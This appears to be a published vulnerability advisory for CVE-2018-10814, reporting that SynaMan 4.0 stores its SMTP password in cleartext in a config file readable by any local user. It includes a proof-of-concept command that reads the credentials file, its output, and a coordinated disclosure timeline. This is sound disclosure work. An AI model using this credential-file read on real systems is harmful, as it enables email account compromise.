45 lines
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1.9 KiB
Text
45 lines
No EOL
1.9 KiB
Text
# Exploit Author: bzyo
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# CVE: CVE-2018-10814
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# Twitter: @bzyo_
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# Exploit Title: SynaMan 4.0 - Cleartext password SMTP settings
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# Date: 09-12-18
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# Vulnerable Software: SynaMan 4.0 build 1488
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# Vendor Homepage: http://web.synametrics.com/SynaMan.htm
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# Version: 4.0 build 1488
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# Software Link: http://web.synametrics.com/SynaManDownload.htm
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# Tested On: Windows 7 x86
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Description
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SynaMan 4.0 suffers from cleartext password storage for SMTP settings which would allow email account compromise
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Prerequisites
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Access to a system running Synaman 4 using a low-privileged user account
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Proof of Concept
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The password for the smtp email account is stored in plaintext in the AppConfig.xml configuration file. This file can be viewed by any local user of the system.
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C:\SynaMan\config>type AppConfig.xml
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<?xml version="1.0" encoding="UTF-8"?>
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<Configuration>
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<parameters>
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<parameter name="hasLoggedInOnce" type="4" value="true"></parameter>
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<parameter name="adminEmail" type="1" value="test@gmail.com"></parameter>
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<parameter name="smtpSecurity" type="1" value="None"></parameter>
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**truncated**
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<parameter name="smtpPassword" type="1" value="SuperSecret!"></parameter>
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<parameter name="ntServiceCommand" type="1" value="net start SynaMan"></parameter>
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<parameter name="mimicHtmlFiles" type="4" value="false"></parameter>
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</parameters>
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</Configuration>
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Timeline
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---------------------------------------------------------------------
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05-07-18: Vendor notified of vulnerabilities
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05-08-18: Vendor responded and will fix
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07-25-18: Vendor fixed in new release
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09-12-18: Submitted public disclosure |